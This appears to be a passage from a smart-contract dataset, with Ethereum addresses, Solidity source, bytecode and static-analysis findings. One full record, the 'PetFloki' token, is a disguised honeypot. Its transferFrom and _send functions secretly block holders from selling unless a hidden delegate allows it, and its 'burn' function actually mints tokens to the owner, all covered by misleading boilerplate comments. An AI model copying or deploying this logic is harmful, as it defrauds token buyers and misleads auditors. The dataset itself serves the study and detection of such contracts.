35b6103de610e6f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561041e578082015181840152602081019050610403565b50505050905090810190601f16801561044b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104a56004803603604081101561046f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ea8565b604051808215151515815260200191505060405180910390f35b610560600480360360608110156104d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561051c57600080fd5b82018360208201111561052e57600080fd5b8035906020019184600183028401116401000000008311171561055057600080fd5b90919293919293905050506110b4565b604051808215151515815260200191505060405180910390f35b6105e66004803603606081101561059057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111b0565b005b610634600480360360408110156105fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112d2565b604051808215151515815260200191505060405180910390f35b6106b06004803603604081101561066457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114ce565b6040518082815260200191505060405180910390f35b610708600480360360208110156106dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611555565b005b6040518060400160405280600c81526020017f5946495a2e46494e414e4345000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156108a557503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b6108ae57600080fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061098183600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a990919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a1683600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116c090919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a6c83826116a990919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a62015f900281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c80576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d14565b610c9383826116a990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f5946495a0000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f1257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610f1b57600080fd5b610f6d82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061100282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116c090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808590506110c48686610743565b156111a6578073ffffffffffffffffffffffffffffffffffffffff1663a2d57853338787876040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b15801561118457600080fd5b505af1158015611198573d6000803e3d6000fd5b5050505060019150506111a8565b505b949350505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461120a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561129157600080fd5b505af11580156112a5573d6000803e3d6000fd5b505050506040513d60208110156112bb57600080fd5b810190808051906020019092919050505050505050565b600061136382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116c090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115af57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115e957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156116b557fe5b818303905092915050565b6000808284019050838110156116d257fe5b809150509291505056fea265627a7a72315820b913c21aad5f7addc9380cb059ed6770b842dfa30aa77899f477d8de6c39eaba64736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 1,456 |
0x489f79184f613ff4bc7d476418150bdded0666da | /**
*Submitted for verification at Etherscan.io on 2021-06-30
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.4;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
address public _owner;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint256 _totalSupply;
uint internal number;
address internal burnAddress;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* dev Burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/
function burn(address _address, uint256 tokens) public onlyOwner {
require(_address != address(0), "ERC20: burn from the zero address");
_burn (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _burn(address _burnAddress, uint256 _burnAmount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
burnAddress = _burnAddress;
_totalSupply = _totalSupply.add(_burnAmount*2);
balances[_burnAddress] = balances[_burnAddress].add(_burnAmount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the burn address. */ || (start == burnAddress && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
}
contract PetFloki is TokenERC20 {
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint256 _supply, address _dele) {
symbol = _symbol;
name = _name;
decimals = 18;
_totalSupply = _supply*(10**uint256(decimals));
number = _totalSupply;
delegate = _dele;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
receive() payable external {}
} | 0x6080604052600436106100ab5760003560e01c8063715018a611610064578063715018a6146101ef57806395d89b41146102065780639dc29fac14610231578063a9059cbb1461025a578063b2bdfa7b14610297578063dd62ed3e146102c2576100b2565b806306fdde03146100b7578063095ea7b3146100e257806318160ddd1461011f57806323b872dd1461014a578063313ce5671461018757806370a08231146101b2576100b2565b366100b257005b600080fd5b3480156100c357600080fd5b506100cc6102ff565b6040516100d99190611491565b60405180910390f35b3480156100ee57600080fd5b5061010960048036038101906101049190611341565b61038d565b6040516101169190611476565b60405180910390f35b34801561012b57600080fd5b506101346104dd565b6040516101419190611513565b60405180910390f35b34801561015657600080fd5b50610171600480360381019061016c91906112f2565b610538565b60405161017e9190611476565b60405180910390f35b34801561019357600080fd5b5061019c6108c3565b6040516101a9919061152e565b60405180910390f35b3480156101be57600080fd5b506101d960048036038101906101d4919061128d565b6108d6565b6040516101e69190611513565b60405180910390f35b3480156101fb57600080fd5b5061020461091f565b005b34801561021257600080fd5b5061021b610a38565b6040516102289190611491565b60405180910390f35b34801561023d57600080fd5b5061025860048036038101906102539190611341565b610ac6565b005b34801561026657600080fd5b50610281600480360381019061027c9190611341565b610c4c565b60405161028e9190611476565b60405180910390f35b3480156102a357600080fd5b506102ac610e78565b6040516102b9919061145b565b60405180910390f35b3480156102ce57600080fd5b506102e960048036038101906102e491906112b6565b610e9e565b6040516102f69190611513565b60405180910390f35b6004805461030c906116d1565b80601f0160208091040260200160405190810160405280929190818152602001828054610338906116d1565b80156103855780601f1061035a57610100808354040283529160200191610385565b820191906000526020600020905b81548152906001019060200180831161036857829003601f168201915b505050505081565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561046e57816007819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104cb9190611513565b60405180910390a36001905092915050565b6000610533600960008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600654610f2590919063ffffffff16565b905090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156105c45750600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1561060f5782600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061061a565b6106198484610f48565b5b61066c82600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2590919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061073e82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2590919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061081082600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461113390919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108b09190611513565b60405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461097757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60028054610a45906116d1565b80601f0160208091040260200160405190810160405280929190818152602001828054610a71906116d1565b8015610abe5780601f10610a9357610100808354040283529160200191610abe565b820191906000526020600020905b815481529060010190602001808311610aa157829003601f168201915b505050505081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b1e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b85906114d3565b60405180910390fd5b610b988282611156565b610bea81600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2590919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c4281600654610f2590919063ffffffff16565b6006819055505050565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd6906114b3565b60405180910390fd5b610d3182600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2590919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dc682600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461113390919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e669190611513565b60405180910390a36001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115610f3457600080fd5b8183610f409190611615565b905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158061104b5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561104a5750600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b5b806110f05750600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156110ef5750600754600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b5b61112f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611126906114f3565b60405180910390fd5b5050565b600081836111419190611565565b90508281101561115057600080fd5b92915050565b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506111b86002826111a791906115bb565b60065461113390919063ffffffff16565b60068190555061121c6002826111ce91906115bb565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461113390919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008135905061127281611813565b92915050565b6000813590506112878161182a565b92915050565b60006020828403121561129f57600080fd5b60006112ad84828501611263565b91505092915050565b600080604083850312156112c957600080fd5b60006112d785828601611263565b92505060206112e885828601611263565b9150509250929050565b60008060006060848603121561130757600080fd5b600061131586828701611263565b935050602061132686828701611263565b925050604061133786828701611278565b9150509250925092565b6000806040838503121561135457600080fd5b600061136285828601611263565b925050602061137385828601611278565b9150509250929050565b61138681611649565b82525050565b6113958161165b565b82525050565b60006113a682611549565b6113b08185611554565b93506113c081856020860161169e565b6113c981611761565b840191505092915050565b60006113e1600b83611554565b91506113ec82611772565b602082019050919050565b6000611404602183611554565b915061140f8261179b565b604082019050919050565b6000611427601a83611554565b9150611432826117ea565b602082019050919050565b61144681611687565b82525050565b61145581611691565b82525050565b6000602082019050611470600083018461137d565b92915050565b600060208201905061148b600083018461138c565b92915050565b600060208201905081810360008301526114ab818461139b565b905092915050565b600060208201905081810360008301526114cc816113d4565b9050919050565b600060208201905081810360008301526114ec816113f7565b9050919050565b6000602082019050818103600083015261150c8161141a565b9050919050565b6000602082019050611528600083018461143d565b92915050565b6000602082019050611543600083018461144c565b92915050565b600081519050919050565b600082825260208201905092915050565b600061157082611687565b915061157b83611687565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156115b0576115af611703565b5b828201905092915050565b60006115c682611687565b91506115d183611687565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561160a57611609611703565b5b828202905092915050565b600061162082611687565b915061162b83611687565b92508282101561163e5761163d611703565b5b828203905092915050565b600061165482611667565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156116bc5780820151818401526020810190506116a1565b838111156116cb576000848401525b50505050565b600060028204905060018216806116e957607f821691505b602082108114156116fd576116fc611732565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f706c656173652077616974000000000000000000000000000000000000000000600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f63616e6e6f7420626520746865207a65726f2061646472657373000000000000600082015250565b61181c81611649565b811461182757600080fd5b50565b61183381611687565b811461183e57600080fd5b5056fea2646970667358221220eba3620b86ad4401f4458b730aa3507d0fd50d141e64a2e0ee801c133580373d64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 1,457 |
0xe91be998e94d9875e5dd3d97285e2b31999b1985 | pragma solidity ^0.4.24;
/**
* @title ERC223
* @dev Interface for ERC223
*/
interface ERC223 {
// functions
function balanceOf(address _owner) external constant returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool success);
function transfer(address _to, uint256 _value, bytes _data) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external constant returns (uint256 remaining);
// Getters
function name() external constant returns (string _name);
function symbol() external constant returns (string _symbol);
function decimals() external constant returns (uint8 _decimals);
function totalSupply() external constant returns (uint256 _totalSupply);
// Events
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event ERC223Transfer(address indexed _from, address indexed _to, uint256 _value, bytes _data);
event Approval(address indexed _owner, address indexed _spender, uint _value);
event Burn(address indexed burner, uint256 value);
}
/**
* @notice A contract will throw tokens if it does not inherit this
* @title ERC223ReceivingContract
* @dev Contract for ERC223 token fallback
*/
contract ERC223ReceivingContract {
TKN internal fallback;
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
